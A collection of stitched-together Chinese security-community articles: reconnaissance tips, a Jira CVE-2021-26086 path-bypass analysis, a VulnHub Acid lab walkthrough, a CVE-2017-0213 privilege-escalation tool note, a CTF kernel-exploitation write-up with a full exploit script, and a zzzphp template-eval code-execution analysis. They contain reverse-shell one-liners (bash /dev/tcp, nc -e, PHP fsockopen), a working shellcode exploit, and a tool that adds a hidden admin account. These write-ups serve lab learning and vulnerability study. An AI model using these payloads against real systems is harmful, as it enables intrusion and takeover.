nmap扫得慢的话可以用masscan
masscan -p 1-65535 --rate 1000 IP
## 四、C段
获得目标真实IP后可以百度该IP看是不是云上资产
如果是阿里云或者腾讯云等云上资产的话扫C段容易出现扫C段扫出一大片东西，然而没有一个是目标资产的情况。不是云上资产的话就正常扫C段就可以。
## 五、天眼查
天眼查、企查查等查企业的软件也是非常重要的信息收集途径，每次攻防演练的目标名单中总有各种公司，有国企也有私企，其中的小型民营企业相比其他的政府、大型互联网企业、金融、电力等目标要好打得多，因此它们总是首要目标，而天眼查、企查查等作为查企业最牛逼的网站，其重要性也就不言而喻了。下面以天眼查为例介绍：
天眼查中共有3个地方可能出现目标的资产：
下面举一个涛神使用天眼查信息收集的例子：
该公司无官网，知识产权处也没有网站，但是有邮箱
访问www.yxxxxxxxxxxxxr.com，打不开，但是可以ping出IP
通过扫该IP的C段发现该公司的一个OA（图找不到了）
还有一个地方是天眼查中的股权穿透图
里面会有该公司的子公司及父公司或股东
这里重点看100%控股的全资子公司，同时也要看攻防演练的规则，搞进子公司内网不通目标的情况下给不给分。
天眼查也可以查到非公司的机构，只是搜到的东西相对较少一些，如：
## 六、子域名
子域名没什么好说的，工具很多，推荐oneforall（<https://github.com/shmilylty/OneForAll），跑完之后结果是csv格式，可以筛选返回值为200的网站，将http://去掉，放进goby里批量扫。> | 社区文章 |
# Jira 文件读取分析（CVE-2021-26086）
## 安装
先下载最新版和有漏洞的版本并安装上，地址： `https://www.atlassian.com/software/jira/update`
## 远程调试
安装好了之后，顺便做了远程调试，网上搜索了下，发现在 [CVE-2019-11581 Atlassian
Jira未授权模板注入漏洞分析](https://paper.seebug.org/982/) 中讲了调试方法，是使用插件的方式，但是感觉有点复杂。看了下
Jira 是用 tomcat 起的，那就直接在 tomcat 的启动过程中加上调试即可。
在 `catalina.bat` 中加入以下调试语句：
set JAVA_OPTS=%JAVA_OPTS% -Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=0.0.0.0:9999
## 漏洞定位
由于不是补丁的形式，而且官方公告也没有指出具体漏洞信息（也有可能没有看到），所以只能下载了有漏洞版本和非漏洞版本的文件，然后写个脚本计算所有文件的
md5，比较各个文件的 md5 变化，最后输出发生改变的文件：
import os
import sys
import hashlib
files_md5 = {}
new_files_md5 = {}
def md5sum(path,files_md5_set):
for i in os.listdir(path):
md5 = hashlib.md5()
file = os.path.join(path, i)
if os.path.isfile(file):
with open(file,mode='rb') as fd:
while True:
data = fd.read(4096)
if data:
md5.update(data)
else:
file_modify = file[file.find("/"):]
files_md5_set[file_modify] = md5.hexdigest()
break
else:
md5sum(file,files_md5_set)
if __name__ == '__main__':
md5sum(sys.argv[1],files_md5)
md5sum(sys.argv[2],new_files_md5)
set1 = set(files_md5.items())
set2 = set(new_files_md5.items())
for item in (set1 ^ set2):
print(item,end='')
print("\n")
把得到的数据去重整理了下：
结合修复公告尽可能排除其他漏洞修改的文件：
然后先看 `class` 文件，并先排除 jsp 文件，很快定位到了 `CachingResourceDownloadRewriteRule` 文件：
感觉这个类有点熟悉，网上一搜，发现以前出现过漏洞：
瞬间感觉稳了，应该是一个绕过，马上 diff 一下 `8.5.13` 和 `8.5.14` 两个版本：
`8.5.13` 版本中，
Pattern PATHS_ALLOWED = Pattern.compile("^/s/(.*)/_/((?i)(?!WEB-INF)(?!META-INF).*)");
在 `/s/xxx/_/`后不允许有 `WEB-INF` 或 `META-INF`;
`8.5.14` 版本中
Pattern PATHS_DENIED = Pattern.compile("[^a-zA-Z0-9]((?i)(WEB-INF)|(META-INF))[^a-zA-Z0-9]")
如果在 `WEB-INF` 或者 `META-INF` 的前后有特殊字符，则返回 null;
## 漏洞复现
实际上是针对 `"^/s/(.*)/_/((?i)(?!WEB-INF)(?!META-INF).*)"` 正则的绕过，只要在 `/s/xxx/_/`
后面不以 `WEB-INF` 或者 `META-INF` 开头即可，想着用 `/xxx/../` 不是妥妥的绕过吗？结果发现代码中已有过滤：
而且还有对多重 URL 编码的防御：
最后剩下个 `;` 貌似可以，绕过之： | 社区文章 |
# VulnHub|渗透测试入门（一）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
红日安全成员
博客：<http://sec-redclub.com/team/>
## 简介
#### 下载链接
`https://download.vulnhub.com/acid/Acid.rar`
#### 靶机说明
Welcome to the world of Acid.
Fairy tails uses secret keys to open the magical doors.
欢迎来到酸的世界。童话故事需要使用秘密钥匙打开魔法门。
#### 目标
获得root权限和flag。
#### 运行环境
* 靶机配置：该虚拟机完全基于Web，提取rar并使用VMplayer运行vmx，网络连接方式设置为net，靶机自动获取IP。
* 攻击机配置：同网段下有Windows攻击机，安装有Burpsuit、nc、Python2.7、DirBuster、御剑等渗透工具。
## 信息收集
* ip发现
启用Acid虚拟机，由于网络设置为net模式，使用Nmap扫描VMware Network Adapter
VMnet8网卡的NAT网段，即可找到虚机IP，扫描结果保存到txt文件，命令：
`nmap -sP 192.168.64.0/24 -oN acid-ip.txt`
获得目标ip `192.168.64.153`
* 端口扫描
使用nmap扫描1-65535全端口，并做服务指纹识别，扫描结果保存到txt文件，命令：
`map -p1-65535 -sV -oN acid-port.txt 192.168.64.153`
目标主机的33447端口发现web服务，web服务器是Apache2.4.10，操作系统ubuntu。
`http://192.168.64.153:33447` 进入主页：
* 服务识别
只发现web服务和Apache，只能从web漏洞或者Apache漏洞入手（如有漏洞）：
端口：Tcp 33447
底层服务：Apache2.4.10
操作系统：Ubuntu
## 漏洞挖掘的详细思路
* web挖掘思路：
(1) 查看每个网页的源码，看是否有提示；
(2) 暴破目录，用御剑或DirBuster，看是否有新网页，找新网页的漏洞；
* Apache挖掘思路：
(1) 寻找Apache2.4.10有无已知漏洞可利用：没有发现可直接利用的漏洞。
(2) 到www.exploit-db.com查询有无exp：没有找到exp。
(3) Nessus扫描一下主机漏洞：没有扫描出漏洞。
* 实在找不到漏洞：单用户模式进入Ubuntu，看源码吧。
* 步骤1：首先看主页源码，发现提示：0x643239334c6d70775a773d3d
0x是16进制编码，将值643239334c6d70775a773d3d进行ASCII hex转码，变成：d293LmpwZw==
发现是base64编码，再进行解码，得到图片信息 wow.jpg
这时可以根据经验在首页直接加目录打：/image/wow.jpg 或者 /images/wow.jpg 或者 /icon/wow.jpg
网站的图片目录通常是这样命名。也可以利用dirbuster进行目录爆破，得到图片目录images。
* 访问 `http://192.168.64.153:33447/images/wow.jpg` 得到图片：
* 将图片保存到本地，用Notepad++打开，发现最下边有提示
将3761656530663664353838656439393035656533376631366137633631306434进行ASCII
hex转码，得到 7aee0f6d588ed9905ee37f16a7c610d4，这是一串md5。
去cmd5解密，得到63425，推测是一个密码或者ID。
* 步骤2：使用Dirbuster进行目录暴破：
查看暴破结果：发现challenge目录，该目录下有cake.php、include.php、hacked.php，用Burpsuit挂上代理，使用Firefox然后依次访问3个文件：
* 步骤3：访问cake.php，发现需要登录后才能访问：
该页面如果看页面title或者看burpsuit的Response返回值的<title>/Magic_Box</title>，会发现有/Magic_Box目录存在，先看其他页面。
点击login会跳转到index.php登录页面，需要email和密码才能登录：
* 步骤4：访问include.php，这是一个文件包含漏洞页面：
在输入框中输入 /etc/passwd 测试存在文件包含，Burpsuit显示response包如下：
想文件包含拿shell，但没有文件上传点，之前发现的wow.jpg中无木马可包含。先继续看hacked.php。
* 步骤5：访问cake.php，需要输入ID，测试下之前从wow.jpg解密出来的数字：63425
然后，什么也没有发生，看来ID不对，或者需要先通过index页面输入email和密码登录。
* 步骤6：找注入，把发现的几个页面都送入AWVS扫描了漏洞，未发现注入。
* 步骤7：继续暴破发现的Magic_Box目录：发现low.php,command.php
* 步骤8：访问low.php是个空页面，访问command.php，发现命令执行界面：
可执行系统命令，输入192.168.64.1;id 查看burpsuit的response发现id命令执行成功。
## 获取shell
* 步骤9：利用php反弹shell。Windows开启nc，监听4444端口：
为避免转义和中断，在get、post请求中输入payload需要进行url编码。尝试bash反弹shell、nc反弹shell，如下payload都失败：
`bash -i >& /dev/tcp/192.168.64.1/4444 0>&1`
`nc -e /bin/bash -d 192.168.64.1 4444`
通过php反弹shell成功，将如下payload进行URL编码后，在burp中发送：
`php -r '$sock=fsockopen("192.168.64.1",4444);exec("/bin/sh -i <&3 >&3
2>&3");'`
nc成功接收反弹shelll：
但是无法执行su命令，回显su: must be run from a terminal
需要一个终端。没有想出办法，最终google了一下，找到答案：用python调用本地的shell，命令：
`echo "import pty; pty.spawn('/bin/bash')" > /tmp/asdf.py`
`python /tmp/asdf.py`
执行su成功：
##
## 提升权限
* 步骤10：查看有哪些的用户 `cat /etc/passwd`,发现需要关注的用户有：acid,saman,root
* 步骤11：查找每个用户的文件（不显示错误） `find / -user acid 2>/dev/null`
发现/sbin/raw_vs_isi/hint.pcapng文件，这是一个网络流量抓包文件，将其拷贝的kali上，用Wireshark打开：
`scp /sbin/raw_vs_isi/hint.pcapng
[[email protected]](mailto:[email protected]).140:/root/`
只看TCP协议的包，发现saman的密码：1337hax0r
* 步骤12：su提权到saman、root，获得flag
再使用sudo -i 提权到root，密码同样是1337hax0r，获得位于root目录的flag.txt。
### 靶场思路回顾
作者的设计思路可参考国外的一篇渗透文章：
`http://resources.infosecinstitute.com/acid-server-ctf-walkthroug`h
主要突破点是：
1.两次目录暴破，第一次暴破出challenge，目录、cake.php、include.php、hacked.php，第二次暴破Magic_Box目录发现command.php。
2.发现命令执行界面后，用php反弹shell，在http中传输需对payload进行url编码。
3.su提权需要一个终端，没有经验只能Google解决了。
4.提权的方法是通过查找已知用户的文件，发现其密码，未使用exp或msf提权。
## 总结
1.主要收获：
(1)命令执行漏洞可使用php反弹shell, 以前都是用bash或nc。
(2)su提权需要一个终端，使用Python解决。
(3)获得shell后，多多查找各个用户文件，可能有新发现。
2.踩到的坑：
(1)文件包含漏洞，没找到利用方式，也找不到上传点，无法包含获得shell；
(2)su提权需要一个终端，没有知识储备和经验，依靠高手指导和Google搜索解决。
(3)index.php页面获得邮件用户名和密码的方法太冷门了，如果不是看国外的教程，自己无法想到。
(4)发现目录就暴破下，使用御剑默认字典不行，只能使用OWASP的暴破字典，目录暴破绕过了上面邮件用户名和口令的登录，可以一路暴破到命令执行页面。
总之，在没有google搜索和他人的指导下，自己没能独立完成，后续需要开阔思路，多多练习。 | 社区文章 |
CVE-2017-0213 Windows COM 特权提升漏洞组件先看看这个漏洞的介绍：
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1107>
Windows COM Aggregate Marshaler在实现中存在权限提升漏洞，可使远程攻击者以提升的权限执行任意代码。
受影响的版本如下： Product VersionUpdateTestedWindows 10 √ Windows 10 1511 Windows 10
1607 Windows 10 1703 √ Windows 7 SP1 √ Windows 8.1 Windows RT 8.1 Windows
Server 2008 SP2 Windows Server 2008R2 SP1 Windows Server 2012 Windows Server
2012R2 Windows Server 2016
基本存在于比较新的win个人电脑和服务器操作系统了、收藏下利用工具。
国外大牛编译的是直接弹CMD的EXP 源码地址：<https://github.com/WindowsExploits/Exploits>
本想改个命令行版的在webshell环境下用 但发现webshell环境下不能成功 技术有限只改了个直接加用户的exp
运行exp后会在系统中直接加个 admin 的用户 密码：Qwer!@#123
编译环境：Windows7 + VS2013
[attachment=5916] | 社区文章 |
# PWN掉一款小型开源OS——续篇：内核态PWN
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章是coooinbase这道题的内核态利用。作为上一篇文章`PWN掉一款小型开源OS——用户态利用`的续篇，本文将解决上文遗留下的一些问题，并分析从userland到kerneland的利用机会。
## 遗留下的问题
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC':111,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'
print(b64e(bs)+' ')
若按照上一篇文章的bson结构去构造payload，即`'CVC':111`，当payload大于一定长度时会导致不能到达以下分支，没法触发漏洞
原因是`copy_payload`的返回值不为0
让`copy_payload`执行到这个分支即可返回0，经过测试`'CVC':545`能通过check
按以下方法构造bson序列，便能发送长字符串，并触发栈溢出
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC':545,
'MON':1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'A'*(0x60)
bs += b'\x00'
bs += b'\x00'
print(b64e(bs)+' ')
## 源码审计
内核源码可以从[此处](https://github.com/zhulangpi/NBOS/tree/21864bddac81170159214044c3763eeb7d4a331f)下载
下面重点来审系统调用，`include/syscall.h`实现了以下一些系统调用
`sys_read`和`sys_write`的实现，并未对传入的`buf`地址指针做检查，也就是可以call
`sys_read`、`sys_write`在内核空间任意读写
在`init/init_task.c`处调用户态进程
通过call `sys_execv`系统调用分配进程资源，并装载用户态进程
## 静态分析
接下来用IDA打开coooinbase.bin，Processor type选`ARM Little-endian`，kernel装载基址为`0xffff000000080000`
查找字符串能看到flag所在的内核地址`0xFFFF000000088858`
对照源码，在内核程序中应当有一个系统调用表
在`0xFFFF000000087140`地址处找到了这个系统调用表
`sys_read`调用，与源码没啥区别，可以对任意内核地址写入数据
在`sys_write`调用，出题人加入了check，会检查`addr <= 0xffff`，只能打印出用户空间的内存信息
## Debug
`0xFFFF000000082A60`之后就是通过check后代码
如能将系统调用表中指向`sys_write`的指针覆盖成`0xFFFF000000082A60`则能绕过check，而且这仅需要写1个byte
后续利用过程：
1.调sys_open打开`/run`这个文件，在这个文件里找到一个`\x60`byte对应的偏移
2.通过偏移sys_lseek到该处
3.调sys_read将该处的`\x60`写入到`0xFFFF000000087140`覆盖sys_write ptr的最后1 byte
4.调sys_write将内核地址中的flag打印出来
打开`/run`文件
`/run`是我们的用户态进程，装载到`0x0`的地址上，在`offset =
0x3a2`处找到了`\x60`byte。lseek到该处，将文件指针指向这个位置。
内核里关于sys_lseek实现的部分源码，`whence`需要设置成`0`，令fd指向一个绝对文件地址，也就是调`sys_lseek(fd, 0x3a2,
0)`
//syscall.c:64~74
int sys_lseek(int fd, int offset, int whence)
{
struct file *filp;
if( (fd>=NR_OPEN) || (fd<0))
return -1;
filp = current->filp[fd];
if(filp==NULL)
return -1;
return file_lseek(filp, offset, whence);
}
//fs.c:363~387
int file_lseek(struct file *filp, int offset, int whence)
{
int pos = (int)filp->f_pos;
switch(whence){
case SEEK_SET:
pos = offset;
break;
case SEEK_CUR:
pos += offset;
break;
case SEEK_END:
pos = filp->f_inode->i_size;
pos += offset;
break;
default:
break;
}
if( (pos<0) || (pos>filp->f_inode->i_size) )
return -1;
filp->f_pos = (unsigned long)pos;
return pos;
}
//fs.h:45~56
#define I_NEW (8)
#define SEEK_SET (0)
#define SEEK_CUR (1)
#define SEEK_END (2)
struct file{
struct inode *f_inode;
unsigned long f_count;
int f_flags;
unsigned long f_pos;
};
调`sys_read(fd, 0xffff000000087140, 1)`之后，系统调用表中的`sys_write
ptr`便被写为`0xffff000000082a60`
再调用`sys_write`便能绕过`addr <= 0xffff`的check，打印出flag
## Script
完整EXP
from pwn import *
import bson
context.arch = 'aarch64'
obj = {
'CVC': 545,
'MON': 1,
'YR': 2021
}
bs = bson.dumps(obj)
bs = bs[:-1]
bs += b'\x02'
bs += b'CC'
bs += b'\x00'
bs += p32(0x10)
bs += b'B'*(0x18)
bs += p64(0xfc46)#ret addr
shellcode = '''ldr x0,=0x6e75722f // /run
mov x1, 0x0
stp x0, x1, [sp]
mov x0, sp
mov x5, 0x340 // SYS_open
blr x5
mov x4, x0 // save file descriptior
mov x1, 0x3a2 // offset of 0x60 in order to change SYS_write to after check
mov x2, 0x0
mov x5, 0x364 // SYS_lseek
blr x5
mov x0, x4 // move saved file desc
ldr x1, =0xffff000000087140 // syscall handler for write
mov x2, 0x1 // count
mov x5, 0x34c // SYS_read
blr x5
ldr x0, =0xffff000000088858 // addr of the flag
mov x2, 0x36 // count
mov x5, 0x310 // SYS_write
blr x5'''
payload = asm(shellcode)
bs += payload + b'\x00'
bs += b'\x00'
#print(hexdump(bs))
print(b64e(bs)+' ') | 社区文章 |
# zzzphpV1.6.1 远程代码执行漏洞简单分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
在先知偶然看到了一篇文章[zzzphp V1.6.1
远程代码执行漏洞分析](https://xz.aliyun.com/t/4471),关于模版getshell其实很普遍,这种漏洞分析的乐趣在于跟踪恶意代码的全过程,很可惜先知上的作者可能对这方面不是很感兴趣,直接丢出了payload,正好自己最近很想看下一些cms具体是如何解析模版的,比如之前那个seacms,很值得我去学习。
## 0x2 漏洞利用回溯分析
漏洞URL:`http://127.0.0.1:8888/zzzphp/search`
入口是:index.php->zzzclient.php
`/Users/xq17/www/zzzphp/inc/zzz_client.php`
require 'zzz_template.php';
if (conf('webmode')==0) error(conf('closeinfo'));
$location=getlocation();
ParseGlobal(G('sid'),G('cid'));
//echop($location);die;
switch ($location) { //$location=search
case 'about':
$tplfile= TPL_DIR . G('stpl');
break;
case 'brand':
$stpl=splits(db_select('brand','b_template',"bid=".G('bid') or "b_name='".G('bname')."'"),',');
if (defined('ISWAP')){
$tplfile=isset($stpl[1]) ? $stpl[1] : $stpl[0];
}else{
$tplfile=$stpl[0];
}
$tplfile=empty($tplfile) ? TPL_DIR .'brand.html' : TPL_DIR . $tplfile ;
break;
case 'brandlist':
$tplfile=isset($stpl) ? TPL_DIR . $stpl: TPL_DIR . 'brandlist.html';
$GLOBALS['tid']='-1';
break;
case 'content':
$tplfile= TPL_DIR . G('ctpl');
break;
case 'list':
$tplfile= TPL_DIR . G('stpl');
break;
case 'taglist':
$tplfile=TPL_DIR . 'taglist.html';
$GLOBALS['tid']='-1';
break;
case 'user':
$tplfile= TPL_DIR . 'user.html';
break;
case 'search':
$tplfile= TPL_DIR . 'search.html'; //从这步开始
break;
先记着`$tplfile=/Users/xq17/www/zzzphp/template/pc/cn2016/html/search.html`
`$location=search`
然后继续跟踪`$tplfile` 继续读下去
就会发现在137～140 行进行了解析模版操作
$zcontent = load_file($tplfile,$location);
$parser = new ParserTemplate(); //2l行 require 'zzz_template.php';
$zcontent = $parser->parserCommom($zcontent); // 解析模板
echo $zcontent;
跟进`load_file`函数了解下作用
zzz_file.php
function load_file( $path, $location = NULL ) {
$path = str_replace( '//', '/', $path );//规范路径
if ( is_file( $path ) ) { //判断是不是文件
return file_get_contents( $path ); //直接返回内容
} elseif ( !is_null( $location ) ) {
$locationpath = PLUG_DIR . 'template/' . $location . '.tpl';
if ( is_file( $locationpath ) ) {
return file_get_contents( $locationpath );
} else {
$url = $_SERVER[ 'REQUEST_URI' ];
$url = sub_left( $url, '?' );
phpgo( $url );
return false;
}
} elseif ( is_file( SITE_DIR . $path ) ) {
return file_get_contents( SITE_DIR . $path );
} else {
error( "载入文件失败,请检查文件路径！," . str_replace( DOC_PATH, '', $path ) );
return false;
}
}
所以函数作用是: 获取文件或者模版的内容
这个时候`$zcontent`的内容就是`/Users/xq17/www/zzzphp/template/pc/cn2016/html/search.html`
我们可以看下:
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>关键词【{zzz:keys}】搜索结果-{zzz:sitetitle}</title>
<meta name="Keywords" content="{zzz:pagekeys}" >
<meta name="Description" content="{zzz:pagedesc}">
<meta name="author" content="http://www.zzzcms.com" />
<script src="{zzz:tempath}js/jquery-1.8.3.min.js" type="text/javascript"></script>
<link rel="stylesheet" type="text/css" href="{zzz:tempath}css/styles.css" />
<script src="{zzz:tempath}js/img.js" type="text/javascript"></script>
</head>
<body>
<!--head--> {zzz:top}
<div class="s_banner2"></div>
<div class="path_box">
<div class="path_con">
<div class="pc_title"><img src="{zzz:tempath}images/2_08.png" /><span>站内搜索</span><i>search</i></div>
<div class="sub_title">关键词：{zzz:pagekeys}</div>
<div class="pc_text"> 位置{zzz:location}</div>
<div class="clear"></div>
</div>
</div>
<div class="contact_box">
<div class="contact_inf">
<div class="sub_list">
<dl>
{zzz:navlist sid=5,6}
<dd {if:[navlist:sid]= {zzz:sid}}class="sub_on"{end if}> <a href="[navlist:link]">[navlist:name]</a></dd>
{/zzz:navlist}
</dl>
</div>
<div class="sub_right">
<div class="news">
<div class="news_list"> {zzz:search size=5 order=order}
<dl>
<dt>[search:date]</dt>
<dd><a href="[search:link]" title="[search:title]">[search:title]</a></dd>
<div class="clear"></div>
</dl>
{/zzz:search} </div>
{list:page len=3 style=1} </div>
</div>
<div class="clear"></div>
</div>
</div>
<!--foot--> {zzz:foot}
</body>
</html>
里面包含了cms定义的各种标签。
接下来就是我想重点分析的部分了
## 0x3 解析模版过程
从上面然后执行到了这一句:`$zcontent = $parser->parserCommom($zcontent);`
跟进代码:
`/Users/xq17/www/zzzphp/inc/zzz_template.php`
function parserCommom( $zcontent ) {
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->ParseInTemplate( $zcontent ); // 模板标签
$zcontent = $this->parserConfigLabel( $zcontent ); //配置表情
$zcontent = $this->parserSiteLabel( $zcontent ); // 站点标签
$zcontent = $this->parserCompanyLabel( $zcontent ); // 公司标签
$zcontent = $this->parserlocation( $zcontent ); // 站点标签
$zcontent = $this->parserLoopLabel( $zcontent ); // 循环标签
$zcontent = $this->parserContentLoop( $zcontent ); // 指定内容
$zcontent = $this->parserbrandloop( $zcontent );
$zcontent = $this->parserGbookList( $zcontent );
$zcontent = $this->parserUser( $zcontent ); //会员信息
$zcontent = $this->parserLabel( $zcontent ); // 指定内容
$zcontent = $this->parserPicsLoop( $zcontent ); // 内容多图
$zcontent = $this->parserad( $zcontent );
$zcontent = parserPlugLoop( $zcontent );
$zcontent = $this->parserOtherLabel( $zcontent );
$zcontent = $this->parserIfLabel( $zcontent ); // IF语句
$zcontent = $this->parserNoLabel( $zcontent );
return $zcontent;
}
可以很清楚看到写了不同的函数去解析对应的标签,这里我们不妨直接跟进第一个来了解代码流程。
`$zcontent = $this->parserSiteLabel( $zcontent );`
function parserSiteLabel( $zcontent ) {
$pattern = '/{zzz:([w]+)?}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );//看下有多少个成功匹配的 二维数组的总长度
for ( $i = 0; $i < $count; $i++ ) {
switch ( $matches[ 1 ][ $i ] ) { //结果
case 'qqkf1':
$zcontent = str_replace( $matches[ 0 ][ $i ], load_file( SITE_DIR . "plugins/qqkf/qqkf1.html" ), $zcontent );
break;
case 'qqkf2':
$zcontent = str_replace( $matches[ 0 ][ $i ], load_file( SITE_DIR . "plugins/qqkf/qqkf2.html" ), $zcontent );
break;
case 'qqkf3':
$zcontent = str_replace( $matches[ 0 ][ $i ], load_file( SITE_DIR . "plugins/qqkf/qqkf3.html" ), $zcontent );
break;
case 'wapkf':
$zcontent = str_replace( $matches[ 0 ][ $i ], load_file( SITE_DIR . "plugins/qqkf/wapkf.html" ), $zcontent );
break;
case 'baidumap':
$zcontent = str_replace( $matches[ 0 ][ $i ], load_file( SITE_DIR . 'plugins/baidumap.html' ), $zcontent );
break;
case 'sitepath':
$zcontent = str_replace( $matches[ 0 ][ $i ], SITE_PATH, $zcontent );
break;
case 'wappath':
$zcontent = str_replace( $matches[ 0 ][ $i ], SITE_PATH.'wap/', $zcontent );
break;
case 'plugpath':
$zcontent = str_replace( $matches[ 0 ][ $i ], SITE_PATH . 'plugins/', $zcontent );
break;
case 'version':
$zcontent = str_replace( $matches[ 0 ][ $i ], VERSION, $zcontent );
break;
case 'tempath':
$zcontent = str_replace( $matches[ 0 ][ $i ], TPL_PATH, $zcontent );
break;
case 'nowtime':
case 'time':
$zcontent = str_replace( $matches[ 0 ][ $i ], date( 'Y-m-d H:i:s' ), $zcontent );
break;
case 'Y': case 'm': case 'd': case 'H': case 'i': case 's':
$zcontent = str_replace( $matches[ 0 ][ $i ], date( ''.$matches[ 1 ][ $i ].'' ), $zcontent );
break;
case 'sitename':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:sitetitle}', $zcontent );
break;
case 'sitetitle2':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:additiontitle}', $zcontent );
break;
case 'logo':
case 'pclogo':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:sitepclogo}', $zcontent );
break;
case 'waplogo':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:sitewaplogo}', $zcontent );
break;
case 'company':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companyname}', $zcontent );
break;
case 'address':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companyaddress}', $zcontent );
break;
case 'postcode':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companypostcode}', $zcontent );
break;
case 'contact':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companycontact}', $zcontent );
break;
case 'tel':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companytel}', $zcontent );
break;
case 'mobile':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companymobile}', $zcontent );
break;
case 'fax':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companyfax}', $zcontent );
break;
case 'siteicp':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:companyicp}', $zcontent );
break;
case 'desc':
case 'sitedesc':
case 'pagedesc':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:sitedesc}', $zcontent );
break;
case 'top':
case 'head':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:template src=head.html}', $zcontent );
break;
case 'foot':
case 'end':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:template src=foot.html}', $zcontent );
break;
case 'left':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:template src=left.html}', $zcontent );
break;
case 'right':
$zcontent = str_replace( $matches[ 0 ][ $i ], '{zzz:template src=right.html}', $zcontent );
break;
case 'userlogin':
$zcontent = str_replace( $matches[ 0 ][ $i ], "<script language='javascript' src='" . PLUG_PATH . "template/login.php?backurl=".G( 'backurl' )."''></script>", $zcontent );
break;
case 'gbookform':
$zcontent = str_replace( $matches[ 0 ][ $i ], "<iframe width='100%' height='100%' frameborder='0' style='min-height:500px;' src='" . PLUG_PATH . "template/gbook.php'></iframe>", $zcontent );
break;
}
}
}
return $zcontent;
}
`$pattern = '/{zzz:([w]+)?}/';` 这个正则其实就是匹配`{zzz:(匹配内容)}`这样的格式
这里就从`{zzz:keys}` 为例子,没有,直接返回了内容(这里是解析站点标签的,可能在其他函数会处理keys)
这里比如
case 'version':
$zcontent = str_replace( $matches[ 0 ][ $i ], VERSION, $zcontent ); //进行了个替换操作
break;
## 0x4 重点分析漏洞形成点
在众多解析标签的函数中,`$zcontent = $this->parserIfLabel( $zcontent ); // IF语句`
我们选择跟进解析if语句的函数。
function parserIfLabel( $zcontent ) {
$pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';
if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr1 = cleft( $ifstr, 0, 1 );
switch ( $ifstr1 ) {
case '=':
$ifstr = '0' . $ifstr;
break;
case '{':
case '[':
$ifstr = "'" . str_replace( "=", "'=", $ifstr );
break;
}
$ifstr = str_replace( '=', '==', $ifstr );
$ifstr = str_replace( '===', '==', $ifstr );
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
if ( preg_match( '/([sS]*)?{else}([sS]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) { // 判断是否存在else
switch ( $flag ) {
case 'if': // 条件为真
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else': // 条件为假
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
// 无限极嵌套解析
$pattern2 = '/{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
// 执行替换
$zcontent = str_replace( $matches[ 0 ][ $i ], $out_html, $zcontent );
}
}
return $zcontent;
}
里面有句`[@eval](https://github.com/eval "@eval")( 'if(' . $ifstr .
'){$flag="if";}else{$flag="else";}' );`直接eval了变量,那么我们从头开始分析,eval里面的内容是否可控。
`$pattern = '/{if:([sS]+?)}([sS]*?){ends+if}/';`
分析下这个正则是怎么匹配的
(括号代表的是匹配的组)
`sS` 是任意匹配内容(比`.`还要强可以匹配换行等等)
`ends+if` 代表 end 和 if之间至少要有个空白符(空白 换行等)
也就是说这个正则匹配的格式:
`{if:(匹配内容)}(匹配内容){end if}`
继续分析下他的代码。
提取重要部分出来如下:
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ]; //匹配的内容 {if:phpinfo()};{end if}->$ifstr=phpinfo()
$ifstr = str_replace( '<>', '!=', $ifstr );//<>替换为!=
$ifstr = str_replace( 'mod', '%', $ifstr ); //mod 替换为%
$ifstr1 = cleft( $ifstr, 0, 1 );//提取第一个值 p
//function cleft( $str, $start = 0, $num = 1 ) {
//$var = trim( $str );
//$result = substr( $var, $start, $num );
//return $result;
